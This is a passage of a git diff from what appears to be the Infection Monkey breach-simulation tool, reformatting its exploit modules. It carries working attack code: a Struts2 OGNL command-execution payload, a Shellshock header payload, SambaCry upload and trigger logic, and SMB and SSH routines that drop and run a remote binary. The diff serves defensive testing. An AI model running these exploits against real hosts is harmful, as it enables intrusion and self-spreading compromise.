desiredAccess=FILE_READ_DATA + tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, + desiredAccess=FILE_READ_DATA ) file_content = smb_client.readFile(tree_id, file_id) smb_client.closeFile(tree_id, file_id) @@ -235,12 +237,12 @@ def get_credentials_list(self): creds = self._config.get_exploit_user_password_or_hash_product() creds = [ - {"username": user, "password": password, "lm_hash": lm_hash, "ntlm_hash": ntlm_hash} + {"username":user, "password":password, "lm_hash":lm_hash, "ntlm_hash":ntlm_hash} for user, password, lm_hash, ntlm_hash in creds ] # Add empty credentials for anonymous shares. - creds.insert(0, {"username": "", "password": "", "lm_hash": "", "ntlm_hash": ""}) + creds.insert(0, {"username":"", "password":"", "lm_hash":"", "ntlm_hash":""}) return creds @@ -266,28 +268,28 @@ def is_vulnerable(self): pattern_result = pattern.search(smb_server_name) is_vulnerable = False if pattern_result is not None: - samba_version = smb_server_name[pattern_result.start() : pattern_result.end()] + samba_version = smb_server_name[pattern_result.start(): pattern_result.end()] samba_version_parts = samba_version.split(".") if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"): is_vulnerable = True elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): is_vulnerable = True elif ( - (samba_version_parts[0] == "4") - and (samba_version_parts[1] == "4") - and (samba_version_parts[1] <= "13") + (samba_version_parts[0] == "4") + and (samba_version_parts[1] == "4") + and (samba_version_parts[1] <= "13") ): is_vulnerable = True elif ( - (samba_version_parts[0] == "4") - and (samba_version_parts[1] == "5") - and (samba_version_parts[1] <= "9") + (samba_version_parts[0] == "4") + and (samba_version_parts[1] == "5") + and (samba_version_parts[1] <= "9") ): is_vulnerable = True elif ( - (samba_version_parts[0] == "4") - and (samba_version_parts[1] == "6") - and (samba_version_parts[1] <= "3") + (samba_version_parts[0] == "4") + and (samba_version_parts[1] == "6") + and (samba_version_parts[1] <= "3") ): is_vulnerable = True else: @@ -295,8 +297,8 @@ def is_vulnerable(self): is_vulnerable = True LOG.info( - "Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" - % (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)) + "Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" + % (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)) ) return is_vulnerable @@ -310,20 +312,20 @@ def upload_module(self, smb_client, share): tree_id = smb_client.connectTree(share) with self.get_monkey_commandline_file( - self._config.dropper_target_path_linux + self._config.dropper_target_path_linux ) as monkey_commandline_file: smb_client.putFile( - share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read + share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read ) with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: smb_client.putFile( - share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read + share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read ) with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: smb_client.putFile( - share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read + share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read ) monkey_bin_32_src_path = get_target_monkey_by_os(False, True) @@ -331,18 +333,18 @@ def upload_module(self, smb_client, share): with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file: smb_client.putFile( - share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read + share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read ) with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile( - share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read + share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read ) T1105Telem( - ScanStatus.USED, - get_interface_to_target(self.host.ip_addr), - self.host.ip_addr, - monkey_bin_64_src_path, + ScanStatus.USED, + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, + monkey_bin_64_src_path, ).send() smb_client.disconnectTree(tree_id) @@ -372,7 +374,8 @@ def trigger_module_by_path(self, smb_client, module_path): # the extra / on the beginning is required for the vulnerability self.open_pipe(smb_client, "/" + module_path) except Exception as e: - # This is the expected result. We can't tell whether we succeeded or not just by this error code. + # This is the expected result. We can't tell whether we succeeded or not just by this + # error code. if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0: return True else: @@ -401,10 +404,11 @@ def get_monkey_runner_bin_file(self, is_32bit): def get_monkey_commandline_file(self, location): return BytesIO( - DROPPER_ARG - + build_monkey_commandline( - self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, str(location) - ) + DROPPER_ARG + + build_monkey_commandline( + self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, + str(location) + ) ) @staticmethod @@ -442,29 +446,30 @@ def connect_to_server(ip, credentials): """ smb_client = SMBConnection(ip, ip) smb_client.login( - credentials["username"], - credentials["password"], - "", - credentials["lm_hash"], - credentials["ntlm_hash"], + credentials["username"], + credentials["password"], + "", + credentials["lm_hash"], + credentials["ntlm_hash"], ) return smb_client - # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # + # Following are slightly modified SMB functions from impacket to fit our needs of the + # vulnerability # @staticmethod def create_smb( - smb_client, - treeId, - fileName, - desiredAccess, - shareMode, - creationOptions, - creationDisposition, - fileAttributes, - impersonationLevel=SMB2_IL_IMPERSONATION, - securityFlags=0, - oplockLevel=SMB2_OPLOCK_LEVEL_NONE, - createContexts=None, + smb_client, + treeId, + fileName, + desiredAccess, + shareMode, + creationOptions, + creationDisposition, + fileAttributes, + impersonationLevel=SMB2_IL_IMPERSONATION, + securityFlags=0, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, + createContexts=None, ): packet = smb_client.getSMBServer().SMB_PACKET() @@ -492,7 +497,7 @@ def create_smb( if createContexts is not None: smb2Create["Buffer"] += createContexts smb2Create["CreateContextsOffset"] = ( - len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"] + len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"] ) smb2Create["CreateContextsLength"] = len(createContexts) else: @@ -513,7 +518,8 @@ def create_smb( @staticmethod def open_pipe(smb_client, pathName): - # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style + # We need to overwrite Impacket's openFile functions since they automatically convert + # paths to NT style # to make things easier for the caller. Not this time ;) treeId = smb_client.connectTree("IPC$") LOG.debug("Triggering path: %s" % pathName) @@ -543,12 +549,12 @@ def open_pipe(smb_client, pathName): return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: return SambaCryExploiter.create_smb( - smb_client, - treeId, - pathName, - desiredAccess=FILE_READ_DATA, - shareMode=FILE_SHARE_READ, - creationOptions=FILE_OPEN, - creationDisposition=FILE_NON_DIRECTORY_FILE, - fileAttributes=0, + smb_client, + treeId, + pathName, + desiredAccess=FILE_READ_DATA, + shareMode=FILE_SHARE_READ, + creationOptions=FILE_OPEN, + creationDisposition=FILE_NON_DIRECTORY_FILE, + fileAttributes=0, ) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 11932c3f538..6039ad00f98 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -1,4 +1,5 @@ -# Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py +# Implementation is based on shellshock script provided +# https://github.com/nccgroup/shocker/blob/master/shocker.py import logging import string @@ -28,7 +29,7 @@ class ShellShockExploiter(HostExploiter): - _attacks = {"Content-type": "() { :;}; echo; "} + _attacks = {"Content-type":"() { :;}; echo; "} _TARGET_OS_TYPE = ["linux"] _EXPLOITED_SERVICE = "Bash" @@ -37,17 +38,17 @@ def __init__(self, host): super(ShellShockExploiter, self).__init__(host) self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.success_flag = "".join( - choice(string.ascii_uppercase + string.digits) for _ in range(20) + choice(string.ascii_uppercase + string.digits) for _ in range(20) ) self.skip_exist = self._config.skip_exploit_if_file_exist def _exploit_host(self): # start by picking ports candidate_services = { - service: self.host.services[service] + service:self.host.services[service] for service in self.host.services if ("name" in self.host.services[service]) - and (self.host.services[service]["name"] == "http") + and (self.host.services[service]["name"] == "http") } valid_ports = [ @@ -59,8 +60,8 @@ def _exploit_host(self): https_ports = [port[0] for port in valid_ports if port[1]] LOG.info( - "Scanning %s, ports [%s] for vulnerable CGI pages" - % (self.host, ",".join([str(port[0]) for port in valid_ports])) + "Scanning %s, ports [%s] for vulnerable CGI pages" + % (self.host, ",".join([str(port[0]) for port in valid_ports])) ) attackable_urls = [] @@ -103,17 +104,18 @@ def _exploit_host(self): self.host.os["machine"] = uname_machine.lower().strip() except Exception as exc: LOG.debug( - "Error running uname machine command on victim %r: (%s)", self.host, exc + "Error running uname machine command on victim %r: (%s)", self.host, exc ) return False # copy the monkey dropper_target_path_linux = self._config.dropper_target_path_linux if self.skip_exist and ( - self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux) + self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux) ): LOG.info( - "Host %s was already infected under the current configuration, done" % self.host + "Host %s was already infected under the current configuration, " + "done" % self.host ) return True # return already infected @@ -136,7 +138,7 @@ def _exploit_host(self): download = exploit + download_command self.attack_page( - url, header, download + url, header, download ) # we ignore failures here since it might take more than TIMEOUT time http_thread.join(DOWNLOAD_TIMEOUT) @@ -145,10 +147,10 @@ def _exploit_host(self): self._remove_lock_file(exploit, url, header) if (http_thread.downloads != 1) or ( - "ELF" - not in self.check_remote_file_exists( + "ELF" + not in self.check_remote_file_exists( url, header, exploit, dropper_target_path_linux - ) + ) ): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) continue @@ -162,26 +164,26 @@ def _exploit_host(self): # run the monkey cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) cmdline += build_monkey_commandline( - self.host, - get_monkey_depth() - 1, - HTTPTools.get_port_from_url(url), - dropper_target_path_linux, + self.host, + get_monkey_depth() - 1, + HTTPTools.get_port_from_url(url), + dropper_target_path_linux, ) cmdline += " & " run_path = exploit + cmdline self.attack_page(url, header, run_path) LOG.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, - self.host, - cmdline, + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, + self.host, + cmdline, ) if not ( - self.check_remote_file_exists( - url, header, exploit, self._config.monkey_log_path_linux - ) + self.check_remote_file_exists( + url, header, exploit, self._config.monkey_log_path_linux + ) ): LOG.info("Log file does not exist, monkey might not have run") continue @@ -241,7 +243,7 @@ def attack_page(url, header, attack): LOG.debug("Header is: %s" % header) LOG.debug("Attack is: %s" % attack) r = requests.get( - url, headers={header: attack}, verify=False, timeout=TIMEOUT + url, headers={header:attack}, verify=False, timeout=TIMEOUT ) # noqa: DUO123 result = r.content.decode() return result @@ -270,7 +272,8 @@ def check_urls(host, port, is_https=False, url_list=CGI_FILES): break if timeout: LOG.debug( - "Some connections timed out while sending request to potentially vulnerable urls." + "Some connections timed out while sending request to potentially vulnerable " + "urls." ) valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] urls = [resp.url for resp in valid_resps] diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 4b5e941f8bf..e5e337596b0 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -24,8 +24,8 @@ class SmbExploiter(HostExploiter): EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "SMB" KNOWN_PROTOCOLS = { - "139/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 139), - "445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445), + "139/SMB":(r"ncacn_np:%s[\pipe\svcctl]", 139), + "445/SMB":(r"ncacn_np:%s[\pipe\svcctl]", 445), } USE_KERBEROS = False @@ -63,32 +63,33 @@ def _exploit_host(self): try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( - self.host, - src_path, - self._config.dropper_target_path_win_32, - user, - password, - lm_hash, - ntlm_hash, - self._config.smb_download_timeout, + self.host, + src_path, + self._config.dropper_target_path_win_32, + user, + password, + lm_hash, + ntlm_hash, + self._config.smb_download_timeout, ) if remote_full_path is not None: LOG.debug( - "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) %s : (SHA-512) %s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash), + "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) " + "%s : (SHA-512) %s)", + self.host, + user, + self._config.hash_sensitive_data(password), + self._config.hash_sensitive_data(lm_hash), + self._config.hash_sensitive_data(ntlm_hash), ) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.add_vuln_port( - "%s or %s" - % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], - ) + "%s or %s" + % ( + SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + ) ) exploited = True break @@ -98,14 +99,15 @@ def _exploit_host(self): except Exception as exc: LOG.debug( - "Exception when trying to copy file using SMB to %r with user:" - " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: (%s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash), - exc, + "Exception when trying to copy file using SMB to %r with user:" + " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" + "SHA-512): %s: (%s)", + self.host, + user, + self._config.hash_sensitive_data(password), + self._config.hash_sensitive_data(lm_hash), + self._config.hash_sensitive_data(ntlm_hash), + exc, ) continue @@ -117,18 +119,18 @@ def _exploit_host(self): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { - "dropper_path": remote_full_path + "dropper_path":remote_full_path } + build_monkey_commandline( - self.host, - get_monkey_depth() - 1, - self.vulnerable_port, - self._config.dropper_target_path_win_32, + self.host, + get_monkey_depth() - 1, + self.vulnerable_port, + self._config.dropper_target_path_win_32, ) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % { - "monkey_path": remote_full_path + "monkey_path":remote_full_path } + build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port + self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port ) smb_conn = False @@ -147,10 +149,10 @@ def _exploit_host(self): scmr_rpc.connect() except Exception as exc: LOG.debug( - "Can't connect to SCM on exploited machine %r port %s : %s", - self.host, - port, - exc, + "Can't connect to SCM on exploited machine %r port %s : %s", + self.host, + port, + exc, ) continue @@ -167,11 +169,11 @@ def _exploit_host(self): # start the monkey using the SCM resp = scmr.hRCreateServiceW( - scmr_rpc, - sc_handle, - self._config.smb_service_name, - self._config.smb_service_name, - lpBinaryPathName=cmdline, + scmr_rpc, + sc_handle, + self._config.smb_service_name, + self._config.smb_service_name, + lpBinaryPathName=cmdline, ) service = resp["lpServiceHandle"] try: @@ -185,18 +187,18 @@ def _exploit_host(self): scmr.hRCloseServiceHandle(scmr_rpc, service) LOG.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - remote_full_path, - self.host, - cmdline, + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + remote_full_path, + self.host, + cmdline, ) self.add_vuln_port( - "%s or %s" - % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], - ) + "%s or %s" + % ( + SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + ) ) return True diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 0f5af3258af..61c9ddf526e 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -58,14 +58,15 @@ def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: try: ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port) LOG.debug( - "Successfully logged in %s using %s users private key", self.host, ssh_string + "Successfully logged in %s using %s users private key", self.host, + ssh_string ) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except Exception: ssh.close() LOG.debug( - "Error logging into victim %r with %s" " private key", self.host, ssh_string + "Error logging into victim %r with %s" " private key", self.host, ssh_string ) self.report_login_attempt(False, user, ssh_key=ssh_string) continue @@ -82,10 +83,10 @@ def exploit_with_login_creds(self, port) -> paramiko.SSHClient: ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) LOG.debug( - "Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", - self.host, - user, - self._config.hash_sensitive_data(current_password), + "Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", + self.host, + user, + self._config.hash_sensitive_data(current_password), ) self.add_vuln_port(port) self.report_login_attempt(True, user, current_password) @@ -93,12 +94,12 @@ def exploit_with_login_creds(self, port) -> paramiko.SSHClient: except Exception as exc: LOG.debug( - "Error logging into victim %r with user" - " %s and password (SHA-512) '%s': (%s)", - self.host, - user, - self._config.hash_sensitive_data(current_password), - exc, + "Error logging into victim %r with user" + " %s and password (SHA-512) '%s': (%s)", + self.host, + user, + self._config.hash_sensitive_data(current_password), + exc, ) self.report_login_attempt(False, user, current_password) ssh.close() @@ -151,13 +152,14 @@ def _exploit_host(self): if self.skip_exist: _, stdout, stderr = ssh.exec_command( - "head -c 1 %s" % self._config.dropper_target_path_linux + "head -c 1 %s" % self._config.dropper_target_path_linux ) stdout_res = stdout.read().strip() if stdout_res: # file exists LOG.info( - "Host %s was already infected under the current configuration, done" % self.host + "Host %s was already infected under the current configuration, " + "done" % self.host ) return True # return already infected @@ -173,17 +175,17 @@ def _exploit_host(self): self._update_timestamp = time.time() with monkeyfs.open(src_path) as file_obj: ftp.putfo( - file_obj, - self._config.dropper_target_path_linux, - file_size=monkeyfs.getsize(src_path), - callback=self.log_transfer, + file_obj, + self._config.dropper_target_path_linux, + file_size=monkeyfs.getsize(src_path), + callback=self.log_transfer, ) ftp.chmod(self._config.dropper_target_path_linux, 0o777) status = ScanStatus.USED T1222Telem( - ScanStatus.USED, - "chmod 0777 %s" % self._config.dropper_target_path_linux, - self.host, + ScanStatus.USED, + "chmod 0777 %s" % self._config.dropper_target_path_linux, + self.host, ).send() ftp.close() except Exception as exc: @@ -191,7 +193,7 @@ def _exploit_host(self): status = ScanStatus.SCANNED T1105Telem( - status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path + status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path ).send() if status == ScanStatus.SCANNED: return False @@ -199,16 +201,16 @@ def _exploit_host(self): try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT + self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT ) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) LOG.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, - self.host, - cmdline, + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, + self.host, + cmdline, ) ssh.close() diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index c08c174fbc8..4b809da632d 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -35,7 +35,8 @@ def get_exploit_config(self): def build_potential_urls(self, ports, extensions=None): """ We need to override this method to get redirected url's - :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), + isHTTPS?(bool)] Eg. ports: [[80, False], [443, True]] :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack @@ -47,11 +48,11 @@ def build_potential_urls(self, ports, extensions=None): @staticmethod def get_redirected(url): # Returns false if url is not right - headers = {"User-Agent": "Mozilla/5.0"} + headers = {"User-Agent":"Mozilla/5.0"} request = urllib.request.Request(url, headers=headers) try: return urllib.request.urlopen( - request, context=ssl._create_unverified_context() + request, context=ssl._create_unverified_context() ).geturl() except urllib.error.URLError: LOG.error("Can't reach struts2 server") @@ -66,25 +67,25 @@ def exploit(self, url, cmd): cmd = re.sub(r"\\", r"\\\\", cmd) cmd = re.sub(r"'", r"\\'", cmd) payload = ( - "%%{(#_='multipart/form-data')." - "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." - "(#_memberAccess?" - "(#_memberAccess=#dm):" - "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." - "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." - "(#ognlUtil.getExcludedPackageNames().clear())." - "(#ognlUtil.getExcludedClasses().clear())." - "(#context.setMemberAccess(#dm))))." - "(#cmd='%s')." - "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." - "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." - "(#p=new java.lang.ProcessBuilder(#cmds))." - "(#p.redirectErrorStream(true)).(#process=#p.start())." - "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." - "(#ros.flush())}" % cmd + "%%{(#_='multipart/form-data')." + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + "(#_memberAccess?" + "(#_memberAccess=#dm):" + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + "(#ognlUtil.getExcludedPackageNames().clear())." + "(#ognlUtil.getExcludedClasses().clear())." + "(#context.setMemberAccess(#dm))))." + "(#cmd='%s')." + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." + "(#p=new java.lang.ProcessBuilder(#cmds))." + "(#p.redirectErrorStream(true)).(#process=#p.start())." + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + "(#ros.flush())}" % cmd ) - headers = {"User-Agent": "Mozilla/5.0", "Content-Type": payload} + headers = {"User-Agent":"Mozilla/5.0", "Content-Type":payload} try: request = urllib.request.Request(url, headers=headers) # Timeout added or else we would wait for all monkeys' output diff --git a/monkey/infection_monkey/exploit/tests/test_zerologon.py b/monkey/infection_monkey/exploit/tests/test_zerologon.py index a2956887f75..b637cfead99 100644 --- a/monkey/infection_monkey/exploit/tests/test_zerologon.py +++ b/monkey/infection_monkey/exploit/tests/test_zerologon.py @@ -26,28 +26,28 @@ def mock_report_login_attempt(**kwargs): def test_assess_exploit_attempt_result_no_error(zerologon_exploiter_object): - dummy_exploit_attempt_result = {"ErrorCode": 0} + dummy_exploit_attempt_result = {"ErrorCode":0} assert zerologon_exploiter_object.assess_exploit_attempt_result(dummy_exploit_attempt_result) def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object): - dummy_exploit_attempt_result = {"ErrorCode": 1} + dummy_exploit_attempt_result = {"ErrorCode":1} assert not zerologon_exploiter_object.assess_exploit_attempt_result( - dummy_exploit_attempt_result + dummy_exploit_attempt_result ) def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object): dummy_restoration_attempt_result = object() assert zerologon_exploiter_object.assess_restoration_attempt_result( - dummy_restoration_attempt_result + dummy_restoration_attempt_result ) def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_object): dummy_restoration_attempt_result = False assert not zerologon_exploiter_object.assess_restoration_attempt_result( - dummy_restoration_attempt_result + dummy_restoration_attempt_result ) @@ -56,15 +56,15 @@ def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object): f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS)) ] expected_extracted_creds = { - USERS[0]: { - "RID": int(RIDS[0]), - "lm_hash": LM_HASHES[0], - "nt_hash": NT_HASHES[0], + USERS[0]:{ + "RID":int(RIDS[0]), + "lm_hash":LM_HASHES[0], + "nt_hash":NT_HASHES[0], }, - USERS[1]: { - "RID": int(RIDS[1]), - "lm_hash": LM_HASHES[1], - "nt_hash": NT_HASHES[1], + USERS[1]:{ + "RID":int(RIDS[1]), + "lm_hash":LM_HASHES[1], + "nt_hash":NT_HASHES[1], }, } assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None @@ -76,8 +76,8 @@ def test__extract_user_creds_from_secrets_bad_data(zerologon_exploiter_object): f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::" for i in range(len(USERS)) ] expected_extracted_creds = { - USERS[0]: {"RID": int(RIDS[0]), "lm_hash": "", "nt_hash": ""}, - USERS[1]: {"RID": int(RIDS[1]), "lm_hash": "", "nt_hash": ""}, + USERS[0]:{"RID":int(RIDS[0]), "lm_hash":"", "nt_hash":""}, + USERS[1]:{"RID":int(RIDS[1]), "lm_hash":"", "nt_hash":""}, } assert zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) is None assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index cf94f6edc15..b728a29b3de 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -29,9 +29,10 @@ def get_target_monkey(host): if not monkey_path: if host.os.get("type") == platform.system().lower(): - # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe + # if exe not found, and we have the same arch or arch is unknown and we are 32bit, + # use our exe if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get( - "machine", "" + "machine", "" ).lower() == platform.machine().lower(): monkey_path = sys.executable @@ -45,7 +46,7 @@ def get_target_monkey_by_os(is_windows, is_32bit): def build_monkey_commandline_explicitly( - parent=None, tunnel=None, server=None, depth=None, location=None, vulnerable_port=None + parent=None, tunnel=None, server=None, depth=None, location=None, vulnerable_port=None ): cmdline = "" @@ -71,12 +72,12 @@ def build_monkey_commandline(target_host, depth, vulnerable_port, location=None) from infection_monkey.config import GUID return build_monkey_commandline_explicitly( - GUID, - target_host.default_tunnel, - target_host.default_server, - depth, - location, - vulnerable_port, + GUID, + target_host.default_tunnel, + target_host.default_server, + depth, + location, + vulnerable_port, ) @@ -106,13 +107,13 @@ def get_monkey_dest_path(url_to_monkey): return WormConfiguration.dropper_target_path_win_64 else: LOG.error( - "Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen." + "Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen." ) return False except AttributeError: LOG.error( - "Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey" + "Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey" ) return False diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index d186adbab1f..6b218a0bfff 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -43,7 +43,7 @@ def create_transfer(host, src_path, local_ip=None, local_port=None): @staticmethod def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): http_path, http_thread = HTTPTools.create_locked_transfer( - host, src_path, local_ip, local_port + host, src_path, local_ip, local_port ) if not http_path: raise Exception("Http transfer creation failed.") @@ -98,7 +98,7 @@ def start(self): # Get monkey exe for host and it's path src_path = try_get_target_monkey(self.host) self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer( - self.host, src_path + self.host, src_path ) def stop(self): diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index 052ab18e5bb..28af92a3e08 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -17,7 +17,8 @@ def __init__(self, command, prefix="", suffix=""): def get_payload(self, command=""): """ Returns prefixed and suffixed command (payload) - :param command: Command to suffix/prefix. If no command is passed than objects' property is used + :param command: Command to suffix/prefix. If no command is passed than objects' property + is used :return: prefixed and suffixed command (full payload) """ if not command: @@ -46,14 +47,15 @@ def is_suffix_and_prefix_too_long(self): def split_into_array_of_smaller_payloads(self): if self.is_suffix_and_prefix_too_long(): raise Exception( - "Can't split command into smaller sub-commands because commands' prefix and suffix already " - "exceeds required length of command." + "Can't split command into smaller sub-commands because commands' prefix and " + "suffix already " + "exceeds required length of command." ) elif self.command == "": return [self.prefix + self.suffix] wrapper = textwrap.TextWrapper( - drop_whitespace=False, width=self.get_max_sub_payload_length() + drop_whitespace=False, width=self.get_max_sub_payload_length() ) commands = 